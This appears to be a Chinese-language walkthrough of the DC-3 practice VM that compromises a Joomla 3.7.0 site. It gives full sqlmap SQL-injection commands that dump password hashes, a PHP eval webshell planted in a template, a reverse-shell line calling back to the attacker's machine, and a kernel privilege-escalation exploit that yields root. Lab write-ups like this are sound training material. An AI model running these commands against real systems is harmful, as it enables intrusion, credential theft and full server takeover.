靶机信息
靶机地址:https://www.five86.com/dc-3.html
下载完成后,运行文件夹中的.ova文件即可安装靶机(vmware)
网络连接方式为NAT,kali与靶机为同一网段
信息搜集
使用nmap探测网段,然后判断出靶机ip地址,对靶机进行扫描
只发现了80端口,joomla的网站
nmap -sn 192.168.32.0/24
nmap -A 192.168.32.131
访问80端口,这次只有一个flag
这里使用的是joomscan,kali上好像没有,需要先安装下
下载地址https://github.com/OWASP/joomscan
unzip joomscan-master.zip
cd joomscan-master
在安装目录中执行下列命令进行扫描,发现joomla版本为3.7.0,和后台路径
perl joomscan.pl
perl joomscan.pl -u 192.168.32.131
漏洞利用
在kali上使用searchsploit发现该版本存在sql注入的漏洞
searchsploit joomla | grep 3.7.0
然后去访问php/webapps/42033.txt文件,在漏洞文本里给我们提供了sqlmap的参数
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
使用sqlmap跑下,跑出来几个数据库名
sqlmap -u "http://192.168.32.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
重点看joomladb库就可以了,发现有username和password字段
sqlmap -u "http://192.168.32.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --columns -D "joomladb" -T "#__users"
看下字段里的内容
sqlmap -u "http://192.168.32.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --dump -D "joomladb" -T "#__users" -C "username,password"
将admin的密码hash写到一个txt文本中,使用工具john进行解密
得到加密类型为bcrypt,密码为snoopy
根据joomscan扫出来的管理界面/administrator
使用上面得到的账户密码admin/snoopy进行登录
然后找到模板,写入一句话
<?php @eval($_POST[cmd]);?>
然后使用webshell工具进行连接,连接路径为:
http://192.168.32.131/templates/protostar/html/test.php
连接上后发现没什么权限,但是有修改文件的权限,可以把我们的一句话改下弹到kali上方便操作
<?php
@eval($_POST[cmd]);
system("bash -c 'bash -i >& /dev/tcp/192.168.32.128/6666 0>&1'");
?>
kali开启监听后,浏览器访问test.php后连接成功
输入命令查看下系统版本,Ubuntu 16.04
nc -lvp 6666
权限提升
搜索系统版本相关漏洞
通过Linux Kernel 4.4.x (Ubuntu 16.04) - ‘double-fdput()’ bpf(BPF_PROG_LOAD) Privilege Escalation进行利用
查看该漏洞的文档,下载exp
cat /usr/share/exploitdb/exploits/linux/local/39772.txt
下载好后通过蚁剑上传到/var/www/html下
在上传位置解压后,依次输入./compile.sh
和./doubleput,然后即可获取到root权限
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput
...
we have root privs now...
在root目录下找到flag